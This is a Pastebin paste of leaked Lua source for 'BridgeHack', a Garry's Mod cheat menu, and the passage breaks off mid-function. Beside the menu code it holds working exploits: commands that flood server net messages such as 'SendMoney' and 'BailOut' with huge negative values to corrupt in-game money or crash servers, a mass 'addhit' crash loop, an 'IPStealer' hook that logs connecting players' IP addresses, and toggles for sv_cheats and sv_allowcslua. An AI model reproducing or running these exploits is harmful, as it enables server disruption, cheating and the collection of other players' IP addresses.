Caliber_

Gmod leak dump part 8: trinity hack

Dec 31st, 2017
1,232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 95.97 KB | None | 0 0
  1. local dversion=1.3
  2.  
  3. local dlversion ="v1.3"
  4.  
  5. local outdated = 0
  6.  
  7. local devbuild = 0
  8.  
  9. local pastecheck = 0 // 0 = Bueno 1 = No Bueno
  10.  
  11. local crash = 0
  12.  
  13. local ulx_spam=0
  14.  
  15. local ply = LocalPlayer()
  16.  
  17.  
  18.  
  19. // INSTALIZATION
  20.  
  21. // FUNCTIONS
  22.  
  23.  
  24.  
  25. surface.CreateFont( "PopupHFont", {
  26.  
  27.         font = "Segoe UI Light",
  28.  
  29.         size = 50,
  30.  
  31.         weight = 1000,
  32.  
  33. } )
  34.  
  35.  
  36.  
  37. surface.CreateFont("HeaderFont", {
  38.  
  39.         font = "Segoe UI Semilight",
  40.  
  41.         size = 22,
  42.  
  43.         weight = 300
  44.  
  45. })
  46.  
  47.  
  48.  
  49. surface.CreateFont("PopupFont", {
  50.  
  51.         font = "Segoe UI Light",
  52.  
  53.         size = 21,
  54.  
  55.         weight = 300
  56.  
  57. })
  58.  
  59.  
  60.  
  61. surface.CreateFont("HeadingFont",{
  62.  
  63.         font = "ChatFont",
  64.  
  65.         size = 20,
  66.  
  67.         weight = 500,
  68.  
  69.         antialias = true,
  70.  
  71. })
  72.  
  73.  
  74.  
  75. function SoundClick()
  76.  
  77.         if GetConVarNumber("bh_playsound") > 0 then
  78.  
  79.                 surface.PlaySound("buttons/lightswitch2.wav")
  80.  
  81.         else
  82.  
  83. end end
  84.  
  85.  
  86.  
  87. function consoleP(message)
  88.  
  89.         queries = queries + 1
  90.  
  91.         MsgC(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), message, "\n")
  92.  
  93. end
  94.  
  95.  
  96.  
  97. function SoundPop()
  98.  
  99.         --buttons/blip1.wav
  100.  
  101.         --buttons/button14.wav
  102.  
  103.         --buttons/lightswitch2.wav
  104.  
  105.         if GetConVarNumber("bh_playsound") > 0 then
  106.  
  107.                 surface.PlaySound("buttons/button14.wav")
  108.  
  109.         else
  110.  
  111. end end
  112.  
  113.  
  114.  
  115. local infinite = 1000000000000000000000000000000000000000000000000000000000000000000
  116.  
  117.  
  118.  
  119. function HitBitches()
  120.  
  121.         net.Start("hitcomplete")
  122.  
  123.                 net.WriteDouble( GetConVarNumber("bh_hitmenuammount") )
  124.  
  125.         net.SendToServer()
  126.  
  127. end
  128.  
  129. concommand.Add("bh_hithack", HitBitches)
  130.  
  131.  
  132.  
  133. function clearcon()
  134.  
  135.         for i=0, 100 do
  136.  
  137.         print(" ")
  138.  
  139. end end
  140.  
  141.  
  142.  
  143. function cleardchat()
  144.  
  145.   for i=0, 100 do
  146.  
  147.     chat.AddText(" ")
  148.  
  149.   end end
  150.  
  151.  
  152.  
  153. --[[
  154.  
  155.         Woo, Coloured chat messages!
  156.  
  157. ]]--
  158.  
  159. function chatP(message)
  160.  
  161.         queries = queries + 1
  162.  
  163.         chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,0), message)
  164.  
  165.         --status(message)
  166.  
  167. end
  168.  
  169.  
  170.  
  171. function chatPR(message)
  172.  
  173.         queries = queries + 1
  174.  
  175.         chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,0,0), message)
  176.  
  177.         --status(message)
  178.  
  179. end
  180.  
  181.  
  182.  
  183. function chatPG(message)
  184.  
  185.         queries = queries + 1
  186.  
  187.         chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(0,255,0), message)
  188.  
  189.         --status(message)
  190.  
  191. end
  192.  
  193. queries=1;    
  194.  
  195. http.Fetch("http://pastebin.com/raw.php?i=jfuCra2J",function(body, len, headers, code)
  196.  
  197.         serverlist = body
  198.  
  199. end,function( error )
  200.  
  201.         chatP("Error accessing PasteBin!")
  202.  
  203. end)
  204.  
  205.  
  206.  
  207. http.Fetch("http://pastebin.com/raw.php?i=Ax9WQ5y7",function(body, len, headers, code)
  208.  
  209.         changelogs = body
  210.  
  211. end,function( error )
  212.  
  213.         chatP("Error accessing PasteBin!")
  214.  
  215. end)
  216.  
  217.        
  218.  
  219. function printchange()
  220.  
  221.         consoleP(""..changelogs.."")
  222.  
  223. end
  224.  
  225. concommand.Add("bh_logs", printchange)
  226.  
  227.  
  228.  
  229. --[[
  230.  
  231.  
  232.  
  233.                 PASTEBIN
  234.  
  235.                
  236.  
  237.                 CHECK
  238.  
  239.  
  240.  
  241.  
  242.  
  243. ]]--
  244.  
  245. local StringM8 = "I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!"
  246.  
  247.  
  248.  
  249. function CheckPastebin()
  250.  
  251.         http.Fetch("http://pastebin.com/raw.php?i=gy2HeVgB",function(body, len, headers, code)
  252.  
  253.                 bintext = body
  254.  
  255.                 local stringbin = ( tostring( bintext ))
  256.  
  257.                 if (StringM8 == stringbin) then
  258.  
  259.                         consoleP("Connection to PasteBin is good!")
  260.  
  261.                 else
  262.  
  263.                         pastecheck = 1
  264.  
  265.                         chatP("Connection to PasteBin is broken!")
  266.  
  267.                         chatP("BridgeHack needs PasteBin to properly work!")
  268.  
  269.                 end end) end
  270.  
  271. --[[
  272.  
  273. ~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~
  274.  
  275.  --]]  
  276.  
  277. function VersionCheck()
  278.  
  279.         http.Fetch("http://pastebin.com/raw.php?i=xcTwfJY7",function( HTML )
  280.  
  281.         local findpos = string.find( HTML, "CVERSION =", 0, false )    
  282.  
  283.         if (findpos) then
  284.  
  285.                 local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )
  286.  
  287.                 if (pastecheck == 1) then
  288.  
  289.                         chatP("Can't check for newer versions because PasteBin is unaccessable!")
  290.  
  291.                 elseif ( version > dversion ) then
  292.  
  293.                         outdated = 1
  294.  
  295.                         chatP("Your version is out of date!" )
  296.  
  297.                 elseif ( version == dversion ) then
  298.  
  299.                         chatP("Your version is up to date." )
  300.  
  301.                 elseif (version < dversion) then
  302.  
  303.                         devbuild = 1
  304.  
  305.                 else
  306.  
  307.                         chatP("Error checking versions!")
  308.  
  309.                 end end end) end
  310.  
  311. VersionCheck()
  312.  
  313.  
  314.  
  315. /*
  316.  
  317.         About Menu
  318.  
  319.        
  320.  
  321.         Woo, learn about us.
  322.  
  323.  
  324.  
  325. */
  326.  
  327. function AboutMenu()
  328.  
  329.         local frame = vgui.Create("DFrame")
  330.  
  331.                 frame:SetSize( ScrW(), ScrH() )
  332.  
  333.                 frame:SetPos( 0,0 )
  334.  
  335.                 frame:SetVisible( true )
  336.  
  337.                 frame:SetDraggable( false )
  338.  
  339.                 frame:MakePopup()
  340.  
  341.                 frame:ShowCloseButton( false )
  342.  
  343.                 frame.Paint = function(s,w,h)
  344.  
  345.                         surface.SetDrawColor( Color(0,0,0,200) )
  346.  
  347.                         surface.DrawRect( 0,0, w,h )
  348.  
  349.                         surface.SetDrawColor( Color(0,230,255,150) )
  350.  
  351.                         surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )
  352.  
  353.                         surface.SetTextColor(255,255,255)
  354.  
  355.                         surface.SetFont("PopupHFont")
  356.  
  357.                         surface.SetTextPos( w/5 , ScrH()/10 )
  358.  
  359.                         surface.DrawText("About BridgeHack")
  360.  
  361.                         surface.SetFont("PopupFont")
  362.  
  363.                         surface.SetTextPos( w/4, h/2.5)
  364.  
  365.                         surface.DrawText("BridgeHack, made by the Hax R' Us team.")
  366.  
  367.                         surface.SetTextPos( w/4, h/2.4 )
  368.  
  369.                         surface.DrawText("If we haven't said it enough, we'll say it again...")
  370.  
  371.                         surface.SetTextPos( w/4, h/2.3 )
  372.  
  373.                         surface.DrawText("The Hax R' Us team has worked VERY hard on this menu.")
  374.  
  375.                         surface.SetTextPos( w/4, h/2.2 )
  376.  
  377.                         surface.DrawText("We LOVE feedback, so please, take the time and send an email to team.")
  378.  
  379.                         surface.SetTextPos( w/4, h/2.1 )
  380.  
  381.                         surface.DrawText("haxrus1337@gmail.com")
  382.  
  383.                         surface.SetTextPos( w/4, h/2.0 )
  384.  
  385.                         surface.DrawText("Tell us what you think of the menu.")
  386.  
  387.                 end
  388.  
  389.                
  390.  
  391.                 button = vgui.Create("DButton", frame)
  392.  
  393.                 button:SetSize(110,32.5)
  394.  
  395.                 button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)
  396.  
  397.                 button:SetText("")
  398.  
  399.                 button.Paint = function(s,w,h)
  400.  
  401.                         surface.SetDrawColor( Color(255,255,255) )
  402.  
  403.                         surface.DrawRect( 0,0, w,h )
  404.  
  405.                         surface.SetDrawColor( Color(13,136,69) )
  406.  
  407.                         surface.DrawRect( 0+3,0+3, w-6,h-6 )
  408.  
  409.                         surface.SetTextColor(255,255,255)
  410.  
  411.                         surface.SetFont("PopupFont")
  412.  
  413.                         surface.SetTextPos(30.5,5.5)
  414.  
  415.                         surface.DrawText( "Alright!" )
  416.  
  417.                 end
  418.  
  419.         button.DoClick = function(s,w,h)
  420.  
  421.                 frame:Close()
  422.  
  423.                 SoundClick()
  424.  
  425.         end end
  426.  
  427. /*
  428.  
  429.  
  430.  
  431.                         GUYS ITS FINALLY HERE!!!
  432.  
  433.                        
  434.  
  435.                        
  436.  
  437.  
  438.  
  439.                         BridgeHack WELCOME SCREEN!!!!!
  440.  
  441.                        
  442.  
  443.  
  444.  
  445. */
  446.  
  447. function WelcomeScreen()
  448.  
  449.         local Popup = vgui.Create("DFrame")
  450.  
  451.         Popup:SetSize( ScrW(), ScrH() )
  452.  
  453.         Popup:SetPos( 0,0 )
  454.  
  455.         Popup:SetVisible( true )
  456.  
  457.         Popup:SetDraggable( false )
  458.  
  459.         Popup:SetTitle( "" )
  460.  
  461.         Popup:MakePopup()
  462.  
  463.         Popup:ShowCloseButton( false )
  464.  
  465.        
  466.  
  467.         Popup.Paint = function(s,w,h)
  468.  
  469.                 surface.SetDrawColor( Color(0,0,0,200) )
  470.  
  471.                 surface.DrawRect( 0,0, w,h )
  472.  
  473.                 surface.SetDrawColor( Color(13,136,69) )
  474.  
  475.                 surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
  476.  
  477.                 surface.SetTextColor(255,255,255)
  478.  
  479.                 surface.SetTextPos(w/5.10, h/2.40)
  480.  
  481.                 if outdated == 0 then
  482.  
  483.                         surface.SetFont("PopupHFont")
  484.  
  485.                         surface.SetTextPos(w/5.10, h/3)
  486.  
  487.                         surface.DrawText("BridgeHack")
  488.  
  489.                         surface.SetFont("PopupFont")
  490.  
  491.                         surface.SetTextPos(w/5.10, h/2.50)
  492.  
  493.                         surface.DrawText( "The HaxRUs team hopes you do thoroughly enjoy using our menu!" )
  494.  
  495.                         surface.SetTextPos(w/5.10, h/2.40)                            
  496.  
  497.                         surface.DrawText( "Your version "..dlversion.." is up to date!" )
  498.  
  499.                         surface.SetTextPos(w/5.10, h/2.30)
  500.  
  501.                         surface.DrawText("Please, do not leak our menu.")
  502.  
  503.                         surface.SetTextPos(w/5.10, h/2.20)
  504.  
  505.                         surface.DrawText ( "We worked very hard on creating it." )
  506.  
  507.                 elseif outdated == 1 then
  508.  
  509.                         surface.SetFont("PopupFont")
  510.  
  511.                         surface.SetTextPos(w/5.10, h/2.50)
  512.  
  513.                         surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )
  514.  
  515.                 else
  516.  
  517.                         surface.SetFont("PopupHFont")
  518.  
  519.                         surface.SetTextPos(10, 100)
  520.  
  521.                         surface.DrawText( "BridgeHack Version "..dlversion.."")
  522.  
  523.                         surface.SetFont("PopupFont")
  524.  
  525.                         surface.SetTextPos(w/5.10, h/2.50)                            
  526.  
  527.                         surface.DrawText( "Error" )
  528.  
  529.                 end end
  530.  
  531.         button = vgui.Create("DButton", Popup)
  532.  
  533.         button:SetSize(110,32.5)
  534.  
  535.         button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
  536.  
  537.         button:SetText("")
  538.  
  539.         button.Paint = function(s,w,h)
  540.  
  541.                 surface.SetDrawColor( Color(255,255,255) )
  542.  
  543.                 surface.DrawRect( 0,0, w,h )
  544.  
  545.                 surface.SetDrawColor( Color(13,136,69) )
  546.  
  547.                 surface.DrawRect( 0+3,0+3, w-6,h-6 )
  548.  
  549.                 surface.SetTextColor(255,255,255)
  550.  
  551.                 surface.SetFont("PopupFont")
  552.  
  553.                 surface.SetTextPos(30.5,5.5)
  554.  
  555.                 surface.DrawText( "Alright!" )
  556.  
  557.         end
  558.  
  559.        
  560.  
  561.         button.DoClick = function(s,w,h)
  562.  
  563.                         Popup:Close()
  564.  
  565.                         SoundClick()
  566.  
  567.         end
  568.  
  569.        
  570.  
  571.         logbutton = vgui.Create("DButton", Popup)
  572.  
  573.         logbutton:SetSize(110,32.5)
  574.  
  575.         logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)
  576.  
  577.         logbutton:SetText("")
  578.  
  579.         logbutton.Paint = function(s,w,h)
  580.  
  581.                 surface.SetDrawColor( Color(255,255,255) )
  582.  
  583.                 surface.DrawRect( 0,0, w,h )
  584.  
  585.                 surface.SetDrawColor( Color(13,170,181) )
  586.  
  587.                 surface.DrawRect( 0+3,0+3, w-6,h-6 )
  588.  
  589.                 surface.SetTextColor(255,255,255)
  590.  
  591.                 surface.SetFont("PopupFont")
  592.  
  593.                 surface.SetTextPos(10,5.5)
  594.  
  595.                 surface.DrawText( "Change Logs" )
  596.  
  597.         end
  598.  
  599.        
  600.  
  601.         logbutton.DoClick = function(s,w,h)
  602.  
  603.                         Popup:Close()
  604.  
  605.                         ChangeLogMenu()
  606.  
  607.                         SoundClick()
  608.  
  609.         end end
  610.  
  611. concommand.Add("bh_welcome", WelcomeScreen, SVersionCheck)
  612.  
  613.        
  614.  
  615. --                                                                                              Version Menu It Looks PURDY
  616.  
  617.  
  618.  
  619. function ChangeLogMenu()
  620.  
  621.         local Panel = vgui.Create( "DFrame" )
  622.  
  623.         Panel:SetSize( 800, 600 )
  624.  
  625.         Panel:SetPos( ScrW(),ScrH() )
  626.  
  627.         Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8
  628.  
  629.         Panel:SetTitle( "" )
  630.  
  631.         Panel:MakePopup()
  632.  
  633.         Panel:ShowCloseButton( false )
  634.  
  635.         function Panel:Paint( w, h )
  636.  
  637.                 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )
  638.  
  639.                 draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )
  640.  
  641.                 draw.SimpleText( "BridgeHack ChangeLogs", "Default", 6, 15, Color( 255,255,255 ), 0, 0 )
  642.  
  643.         end
  644.  
  645.  
  646.  
  647.         local Button = vgui.Create("DButton", Panel)
  648.  
  649.                 Button:SetPos( 740, 10 )
  650.  
  651.                 Button:SetSize( 50, 25 )
  652.  
  653.                 Button:SetText( "" )
  654.  
  655.                 function Button:Paint( w, h )
  656.  
  657.                         draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
  658.  
  659.                         draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
  660.  
  661.                 end
  662.  
  663.                 Button.DoClick = function()
  664.  
  665.                         Panel:Close()
  666.  
  667.                 end    
  668.  
  669.        
  670.  
  671.         local Label = vgui.Create( "DLabel", Panel )
  672.  
  673.         Label:SetColor( Color( 255, 255, 255, 255 ) )
  674.  
  675.         Label:SetFont( "DermaLarge" )
  676.  
  677.        
  678.  
  679.         if outdated == 1 then
  680.  
  681.         Label:SetText( "Your version " ..dlversion.." is outdated!" )
  682.  
  683.         Label:SetTextColor( Color( 255,0,0 ) )
  684.  
  685.         elseif outdated == 0 then
  686.  
  687.         Label:SetText( "Your version "..dlversion.." is up to date!" )
  688.  
  689.         Label:SetTextColor( Color( 0,255,0 ) )
  690.  
  691.         else
  692.  
  693.         Label:SetText("Error receving version information!")
  694.  
  695.         end
  696.  
  697.        
  698.  
  699.         Label:SizeToContents()
  700.  
  701.         Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )
  702.  
  703.        
  704.  
  705.         local HTML = vgui.Create( "HTML", Panel )
  706.  
  707.         HTML:OpenURL( "http://pastebin.com/raw.php?i=Ax9WQ5y7" )
  708.  
  709.         HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )
  710.  
  711.         HTML:SetPos( 25, 100 )
  712.  
  713.         HTML.Paint = function()
  714.  
  715.                 surface.SetDrawColor( Color( 160, 160, 160) )
  716.  
  717.                 surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )
  718.  
  719.         end end
  720.  
  721. /*    
  722.  
  723.  
  724.  
  725.        
  726.  
  727.                                 END MENU
  728.  
  729.        
  730.  
  731.  
  732.  
  733. */    
  734.  
  735. local randomvar = math.Rand(0,9999999)
  736.  
  737. local BridgeHack = {}
  738.  
  739. BridgeHack.RandomVar = randomvar
  740.  
  741. local sweg = LocalPlayer():GetEyeTrace().Entity
  742.  
  743. local ply = LocalPlayer()
  744.  
  745. ply:ConCommand("bh_welcome")
  746.  
  747. timer.Destroy("changecolor")
  748.  
  749.  
  750.  
  751. queries=1;
  752.  
  753. function status(statu)--                Made for debugging things.
  754.  
  755.         queries = queries + 1
  756.  
  757.         if GetConVarNumber("bh_showhud") == 1 then
  758.  
  759.                 hook.Add( "HUDPaint", "drawcurrent", function()
  760.  
  761.                         surface.SetFont( "BudgetLabel" )
  762.  
  763.                         surface.SetTextColor( 255,255,255 )
  764.  
  765.                         surface.SetTextPos( 25, 25 )
  766.  
  767.                         surface.DrawText( "[" .. queries .. " Total Requests] STATUS: " .. statu )
  768.  
  769.                 end) end
  770.  
  771.        
  772.  
  773.         if GetConVarNumber("bh_chat_status") == 1 then
  774.  
  775.                 chat.AddText(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), statu)
  776.  
  777.         end end
  778.  
  779.  
  780.  
  781. function Debug(message)
  782.  
  783.         queries = queries + 1
  784.  
  785.         chat.AddText(Color(155, 89, 182), "[ BridgeHack]: ", Color(255,255,255), message)
  786.  
  787. end
  788.  
  789.  
  790.  
  791. local function CreateCvar(cvar, value)
  792.  
  793.         CreateClientConVar(cvar, value)
  794.  
  795.         consoleP("CVAR: " .. cvar .. " set to " .. value)
  796.  
  797. end
  798.  
  799.  
  800.  
  801. local function ResetCvar(cvar, value)
  802.  
  803.         ply:ConCommand("" .. cvar .. " " .. value)
  804.  
  805.         Debug("CVAR: " .. cvar .. " reset to " .. value)
  806.  
  807. end
  808.  
  809.  
  810.  
  811. CheckPastebin()
  812.  
  813. CreateCvar("bh_notify", 1)
  814.  
  815. CreateCvar("bh_ulxgag", 1, true, false)
  816.  
  817. CreateCvar("bh_playsound",1)
  818.  
  819. CreateCvar("bh_hitmenuammount",0)
  820.  
  821. CreateCvar("bh_menu_effects", 1)
  822.  
  823. CreateCvar("bh_firstload_correct", 1)
  824.  
  825. CreateCvar("bh_chat_status", 0)
  826.  
  827. CreateCvar("bh_cheats_enabled_on_start", 0)
  828.  
  829. CreateCvar("bh_cheats_svlua_enabled_on_start", 0)
  830.  
  831. CreateCvar("bh_showhud", 0)
  832.  
  833. CreateCvar("bh_esp",0)
  834.  
  835. CreateCvar("bh_esp_box",1)
  836.  
  837. CreateCvar("bh_debug",0)
  838.  
  839. CreateCvar("bh_esp_hp",1)
  840.  
  841. CreateCvar("bh_esp_rank",1)
  842.  
  843. CreateCvar("bh_renderdistance_enable",0)
  844.  
  845. CreateCvar("bh_esp_rdistance",2000)
  846.  
  847. CreateCvar("bh_esp_infocolor_r",255)
  848.  
  849. CreateCvar("bh_esp_infocolor_g",0)
  850.  
  851. CreateCvar("bh_esp_infocolor_b",255)
  852.  
  853. CreateCvar("bh_ratm_money2give",100000)
  854.  
  855.  
  856.  
  857.  
  858.  
  859. if GetConVarNumber("bh_firstload_correct") == 1 then
  860.  
  861.         Derma_Message( "Welcome " .. ply:Nick() .. ", We see its your first time launching BridgeHack on your SteamID (" .. ply:SteamID() .. ")\nHow do I open the menu?\nSimply do this bind in console bind KEY +bh_menu\nThanks for purchasing BridgeHack, Enjoy\nBridgeHack Hack (HaxRUs)", "Welcome to BridgeHack " .. ply:Nick() .. "!", "Click me to continue" )
  862.  
  863.         ply:ConCommand("bh_firstload_correct 0")
  864.  
  865.         chatP("Welcome to the world of BridgeHack.")
  866.  
  867.        
  868.  
  869. else
  870.  
  871. end
  872.  
  873.  
  874.  
  875. if GetConVarNumber("bh_cheats_enabled_on_start") == 1 then
  876.  
  877.         ply:ConCommand("incrementvar sv_cheats 0 1 1")
  878.  
  879.         status("Enabled sv_cheats to 1")
  880.  
  881. else
  882.  
  883. end
  884.  
  885. if GetConVarNumber("bh_cheats_svlua_enabled_on_start") == 1 then
  886.  
  887.        
  888.  
  889.         ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
  890.  
  891.         status("Enabled sv_allowcslua to 1")
  892.  
  893. else
  894.  
  895. end
  896.  
  897.  
  898.  
  899. // FIXES
  900.  
  901. local oChatAddText = chat.AddText
  902.  
  903.  
  904.  
  905. function chat.AddText( ... )
  906.  
  907.         local cArgs = { ... };
  908.  
  909.                        
  910.  
  911.        
  912.  
  913.         for k, v in pairs( cArgs ) do
  914.  
  915.                 if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
  916.  
  917.                         print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
  918.  
  919.                         return false;
  920.  
  921.                 else
  922.  
  923.                 end
  924.  
  925.         end
  926.  
  927.         return oChatAddText( ... );
  928.  
  929. end
  930.  
  931.  
  932.  
  933. ---------------------------------------// Global timers //---------------------------------------
  934.  
  935. if GetConVarNumber("bh_showhud") == 1 then
  936.  
  937.         hook.Add( "HUDPaint", "drawcursor", function()
  938.  
  939.                 local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255)
  940.  
  941.                 surface.SetDrawColor(c)
  942.  
  943.                 surface.DrawLine(x - 10, y, x - 5, y)
  944.  
  945.                 surface.DrawLine(x, y + 5, x, y + 10)
  946.  
  947.                 surface.DrawLine(x + 10, y, x + 5, y)
  948.  
  949.         end)
  950.  
  951.        
  952.  
  953.         hook.Add( "HUDPaint", "drawabout", function()
  954.  
  955.                 surface.SetFont( "BudgetLabel" )
  956.  
  957.                 surface.SetTextColor( 46, 204, 113 )
  958.  
  959.                 surface.SetTextPos( 25, 15 )
  960.  
  961.                 surface.DrawText( "BridgeHack " .. dlversion )
  962.  
  963.         end)
  964.  
  965.        
  966.  
  967.         if GetConVarNumber("bh_debug") > 0 then
  968.  
  969.                 if system.IsWindows( ) == true then
  970.  
  971.                         hook.Add( "HUDPaint", "drawdev1", function()
  972.  
  973.                                 surface.SetFont( "BudgetLabel" )
  974.  
  975.                                 surface.SetTextColor( 231, 76, 60 )
  976.  
  977.                                 surface.SetTextPos( 25, 47 )
  978.  
  979.                                 surface.DrawText( "[] Server Operating System: Windows" )
  980.  
  981.                         end)
  982.  
  983.                 end
  984.  
  985.                
  986.  
  987.                 if system.IsLinux( ) == true then
  988.  
  989.                         hook.Add( "HUDPaint", "drawdev2", function()
  990.  
  991.                                 surface.SetFont( "BudgetLabel" )
  992.  
  993.                                 surface.SetTextColor( 231, 76, 60 )
  994.  
  995.                                 surface.SetTextPos( 25, 47 )
  996.  
  997.                                 surface.DrawText( "[] Server Operating System: Linux" )
  998.  
  999.                         end)
  1000.  
  1001.                 end
  1002.  
  1003.                
  1004.  
  1005.                 if system.IsOSX( ) == true then
  1006.  
  1007.                         hook.Add( "HUDPaint", "drawdev3", function()
  1008.  
  1009.                                 surface.SetFont( "BudgetLabel" )
  1010.  
  1011.                                 surface.SetTextColor( 231, 76, 60 )
  1012.  
  1013.                                 surface.SetTextPos( 25, 47 )
  1014.  
  1015.                                 surface.DrawText( "[] Server Operating System: OSX")
  1016.  
  1017.                         end)
  1018.  
  1019.                 end
  1020.  
  1021.                
  1022.  
  1023.                 hook.Add( "HUDPaint", "drawdev4", function()
  1024.  
  1025.                         surface.SetFont( "BudgetLabel" )
  1026.  
  1027.                         surface.SetTextColor( 231, 76, 60 )
  1028.  
  1029.                         surface.SetTextPos( 25, 47 )
  1030.  
  1031.                         surface.DrawText( "[] Server Operating System: Windows" )
  1032.  
  1033.                 end)
  1034.  
  1035.                
  1036.  
  1037.                 hook.Add( "HUDPaint", "drawdev5", function()
  1038.  
  1039.                         surface.SetFont( "BudgetLabel" )
  1040.  
  1041.                         surface.SetTextColor( 231, 76, 60 )
  1042.  
  1043.                         surface.SetTextPos( 25, 57 )
  1044.  
  1045.                         surface.DrawText( "[] Server Location: " .. system.GetCountry( ) .. "" )
  1046.  
  1047.                 end)
  1048.  
  1049.                
  1050.  
  1051.                 hook.Add( "HUDPaint", "drawdev6", function()
  1052.  
  1053.                         surface.SetFont( "BudgetLabel" )
  1054.  
  1055.                         surface.SetTextColor( 231, 76, 60 )
  1056.  
  1057.                         surface.SetTextPos( 25, 67 )
  1058.  
  1059.                         surface.DrawText( "[] Connection Time: " .. system.AppTime( ) .. " Seconds" )
  1060.  
  1061.                 end)
  1062.  
  1063.                
  1064.  
  1065.         end
  1066.  
  1067. end
  1068.  
  1069.        
  1070.  
  1071. status("Starting")
  1072.  
  1073. status("BridgeHack Loaded")
  1074.  
  1075.  
  1076.  
  1077. for k,v in pairs(player.GetAll()) do
  1078.  
  1079.        
  1080.  
  1081.         local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
  1082.  
  1083.                 consoleP(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney)
  1084.  
  1085.         end
  1086.  
  1087. consoleP("BridgeHack, by HaxRUs")
  1088.  
  1089. consoleP(dlversion)
  1090.  
  1091.  
  1092.  
  1093. // FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------
  1094.  
  1095. // CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------
  1096.  
  1097.  
  1098.  
  1099. concommand.Add("bh_hitmanxcrash", function ( ply )
  1100.  
  1101. for i=0,300 do
  1102.  
  1103. for k,v in pairs(player.GetAll()) do
  1104.  
  1105. net.Start( "SendMoney" )
  1106.  
  1107. net.WriteEntity( v )
  1108.  
  1109. net.WriteEntity( v )
  1110.  
  1111. net.WriteEntity( v )
  1112.  
  1113. net.WriteString( "-100000000000000000000000000000000000000000" )
  1114.  
  1115. net.SendToServer()
  1116.  
  1117.  
  1118.  
  1119. end end end)
  1120.  
  1121.  
  1122.  
  1123. concommand.Add("bh_hitmanxinfa", function ( ply )
  1124.  
  1125. for k,v in pairs(player.GetAll()) do
  1126.  
  1127. net.Start( "SendMoney" )
  1128.  
  1129. net.WriteEntity( v )
  1130.  
  1131. net.WriteEntity( v )
  1132.  
  1133. net.WriteEntity( v )
  1134.  
  1135. net.WriteString( "-100000000000000000000000000000000000000000" )
  1136.  
  1137. net.SendToServer()
  1138.  
  1139.  
  1140.  
  1141. end end)
  1142.  
  1143.  
  1144.  
  1145. concommand.Add("bh_hitmancrash",function()
  1146.  
  1147.         for i=0,5000 do
  1148.  
  1149.                 ply:ConCommand('addhit "'..ply:Nick()..'" 500')
  1150.  
  1151.         end
  1152.  
  1153.        
  1154.  
  1155. end)
  1156.  
  1157.  
  1158.  
  1159. concommand.Add("bh_ulxgag",function()
  1160.  
  1161.                 if(ulx and ulx.gagUser) then
  1162.  
  1163.                         if GetConVarNumber("bh_ulxgag") == 1 then
  1164.  
  1165.                                 ulx.gagUser(LocalPlayer(),false)
  1166.  
  1167.                         else
  1168.  
  1169.                         end
  1170.  
  1171.                 else
  1172.  
  1173.                 end
  1174.  
  1175.        
  1176.  
  1177. end)
  1178.  
  1179.  
  1180.  
  1181. concommand.Add("bh_antiaim",function()
  1182.  
  1183.         hook.Add("CreateMove",function(cmd, u)
  1184.  
  1185.         if (LocalPlayer():KeyDown(IN_ATTACK)) then return end
  1186.  
  1187.         local aa = cmd:GetViewAngles()
  1188.  
  1189.         cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))
  1190.  
  1191. end)
  1192.  
  1193.  
  1194.  
  1195. end)
  1196.  
  1197.  
  1198.  
  1199.  
  1200.  
  1201. concommand.Add("bh_infinite_all",function()
  1202.  
  1203.   clearcon()
  1204.  
  1205.   cleardchat()
  1206.  
  1207.   chatP("Giving money, He he")
  1208.  
  1209. for k,v in pairs(player.GetAll()) do
  1210.  
  1211. net.Start( "BailOut" )
  1212.  
  1213.                         net.WriteEntity( v )
  1214.  
  1215.                         net.WriteEntity( v )
  1216.  
  1217.                         net.WriteFloat( -infinite )
  1218.  
  1219.                   net.SendToServer()
  1220.  
  1221.                 end
  1222.  
  1223.  
  1224.  
  1225. end)
  1226.  
  1227.  
  1228.  
  1229. concommand.Add("bh_ipsteal",function()
  1230.  
  1231. hook.Add("PlayerConnect", "IPStealer", function(name, ip)
  1232.  
  1233.         file.Append("ips.txt", name .. " - " .. ip .. "\n")
  1234.  
  1235. end)
  1236.  
  1237.  
  1238.  
  1239. end)
  1240.  
  1241.  
  1242.  
  1243. local nlr = CreateClientConVar("bh_nlr_freeze", "0", true, false)
  1244.  
  1245.  
  1246.  
  1247. local function nlrs()
  1248.  
  1249.         if nlr:GetBool() then
  1250.  
